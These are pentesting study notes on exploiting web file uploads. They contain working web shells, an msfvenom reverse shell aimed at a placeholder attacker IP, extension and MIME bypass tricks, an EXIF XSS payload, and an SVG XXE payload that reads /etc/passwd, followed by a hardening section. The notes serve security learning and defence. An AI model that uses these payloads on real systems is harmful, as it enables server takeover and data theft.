Introduction to File Upload Attacks

File upload features are extremely common in web apps, from profile pictures to document portals. The moment an app stores user-controlled files on the server, it expands the attack surface beyond standard input fields. If validation is weak or missing, attackers can upload active content and trigger code execution.

The core risk is that a server may treat an uploaded file as code rather than data. That can happen when the extension is executable, the server is misconfigured, or the upload directory allows script execution. Even if direct execution is blocked, uploads can enable stored XSS, XXE, or DoS.

Attack Surface and Common Impacts

The most critical upload flaw is an unauthenticated arbitrary file upload. In that case, an attacker can upload a web shell or reverse shell and gain command execution on the back end. Even with authentication, poor validation can allow bypasses that lead to the same result.

Common impacts include:

  • Remote code execution through web shells or reverse shells
  • Stored XSS or XXE via HTML or SVG uploads
  • DoS through decompression bombs or pixel flood images
  • File overwrite and misconfiguration abuse
  • Sensitive data exposure through path discovery or LFI chaining

These impacts often combine with other weaknesses, so treat upload testing as a high value activity. If you find an upload point, plan to test extension handling, content checks, and execution paths. Always verify where the file lands and whether it is served back to the browser.

Baseline Recon for Upload Points

Start with the simplest signals. If the file picker shows “All Files” and accepts any extension, that suggests weak or missing client-side validation. If no request is sent, the check is likely front-end only and easy to bypass.

Next, identify the server-side tech so you can choose the right payloads. A quick manual method is testing /index.ext for common extensions like .php, .asp, or .aspx. Browser tools like Wappalyzer can confirm the stack, and Burp or ZAP scanners can reveal framework hints.


Basic Exploitation Path

Once you know the stack, test if the server executes files with that extension. A minimal “Hello World” is enough to confirm execution without raising alarms. If the upload succeeds and the file runs, you have a confirmed execution path.

<?php echo "Hello HTB"; ?>

If the file is reachable, visit it directly to confirm execution. Look for a dedicated uploads directory such as /uploads/, /profile_images/, or similar. If the location is unknown, check the response for a path or use directory discovery with a wordlist.

Web Shells and Reverse Shells

A web shell is the most direct payload for upload exploitation. For PHP, a common choice is phpbash, which provides a web terminal interface. SecLists also includes many ready-made shells for multiple languages under /opt/useful/seclists/Web-Shells.

<?php system($_REQUEST['cmd']); ?>
http://SERVER_IP:PORT/uploads/shell.php?cmd=id

For .NET targets, a compact inline command runner can use eval on the request parameter. This is only valid for older or insecure configurations, but it appears in vulnerable labs. Always verify the server response to confirm the command runs.

<% eval request('cmd') %>

Reverse shells give you a more stable interaction than a web shell. The pentestmonkey PHP reverse shell is reliable and easy to configure. Update the IP and port, start a netcat listener, then trigger the uploaded script.

$ip = 'OUR_IP';
$port = OUR_PORT;
nc -lvnp OUR_PORT

You can also generate reverse shells with msfvenom. This helps when filters are strict or when you need alternate formats. Generate the payload, upload it, and trigger it exactly like a web shell.

msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php
nc -lvnp OUR_PORT

Bypasses

Client-Side Validation Bypass

Many applications validate file types only in the browser with JavaScript. When that happens, the page may block the file selection without sending any HTTP request. This is good news for attackers because you can ignore the front-end validation entirely.

The key elements of the request are the filename and the file content. If you change filename="HTB.png" to filename="shell.php" and replace the body with a web shell, the server may accept it. This bypasses any file picker restrictions because the back end never sees the original file type.

Another approach is to disable the front-end validation in the browser. Inspect the file input element and remove the onchange handler that enforces checks. For example, removing onchange="checkFile(this)" often disables the restriction.

Server-Side Blacklist Bypass

A blacklist checks only a few extensions and rejects matching items. This is weak because many executable extensions are missing or ignored by certain web server configs. If the back end blocks .php, try alternative extensions such as .phtml or .phps.

To fuzz, select the extension in the filename and load an extension wordlist. PayloadsAllTheThings and SecLists provide useful lists for PHP and ASP environments. Disable URL encoding for the dot so the payload stays intact.

Once you find a permitted extension, repeat the upload with a working web shell. Keep in mind that not all accepted extensions execute code; some may be treated as plain text. Test each candidate by visiting the file and running a simple command.

Server-Side Whitelist Bypass

A whitelist is stronger, but it can still be bypassed if the regex is flawed. Some checks only verify that a filename contains an allowed extension, not that it ends with one. That makes double extensions a classic bypass, such as shell.jpg.php.

If the whitelist is strict, try a reverse double extension like shell.php.jpg. This only works if the web server is misconfigured to execute based on internal patterns rather than the last extension. Apache configurations that allow .phar or .phtml can also create execution paths.

Character injection can also confuse weak validators. Appending %00, %0a, or similar sequences can truncate or alter filename parsing on older stacks. You can build a wordlist that injects characters around .php and .jpg and then fuzz the upload.

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' ':'; do
  for ext in '.php' '.phps'; do
    echo "shell${char}${ext}.jpg" >> wordlist.txt
    echo "shell${ext}${char}.jpg" >> wordlist.txt
    echo "shell.jpg${char}${ext}" >> wordlist.txt
    echo "shell.jpg${ext}${char}" >> wordlist.txt
  done
done

Content-Type and MIME Filtering

Some servers validate the Content-Type header or MIME signature instead of the extension. This can be bypassed because the Content-Type header is client-controlled. Intercept the request and set Content-Type: image/jpeg while keeping your web shell in the body.

If the server checks MIME magic bytes, you need to craft the file content. A file that starts with GIF89a or GIF87a may be treated as a GIF even if it contains PHP later. You can prefix the payload with a valid magic string and then append your code.

echo "GIF89a" > shell.jpg
file shell.jpg

For image-only uploads, you can still exploit execution if the server writes the file into an executable directory. Try a PHP shell with an image header and a .php or .phtml extension. If both content and extension checks are enforced, you may need to combine bypasses and test multiple variants.


Secondary Upload Attacks

Even when execution is blocked, uploads can enable other attacks. HTML uploads can deliver stored XSS by embedding script tags. Image metadata is another vector, especially if the app displays EXIF fields in the UI.

exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg

SVG files are powerful because they are XML-based. You can embed JavaScript for XSS or define external entities for XXE. If the server parses the SVG, it may leak files such as /etc/passwd or source code.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

DoS attacks are another risk. A decompression bomb inside a ZIP can exhaust disk or memory if the server auto-extracts archives. A pixel flood image can claim massive dimensions and crash image processing libraries.

Upload paths can also be abused through filename handling. If the server uses the filename in shell commands or SQL queries, you may trigger command injection or SQLi. File name collisions, long names, or Windows reserved names can reveal path and error data.


Prevention and Hardening

Strong defenses combine multiple checks and strict handling. Use a whitelist that enforces the file extension at the end of the name, and combine it with a blacklist for dangerous extensions. Validate both the Content-Type header and the MIME signature derived from file content.

If files must be served, use a controlled download endpoint and deny direct access to the upload directory. A download.php can enforce authorization and safe path handling, while the server returns 403 Forbidden for direct access. Use headers like Content-Disposition: attachment and X-Content-Type-Options: nosniff to prevent browser rendering.

Harden the runtime environment so a bypass is less dangerous. Disable risky PHP functions in php.ini, keep libraries updated, and scan uploads for malware or known signatures. Enforce size limits and rate limits to reduce DoS exposure.


Reference

This article is based on my personal study notes from the Information Security Foundations track.

Full repository: https://github.com/lameiro0x/pentesting-path-htb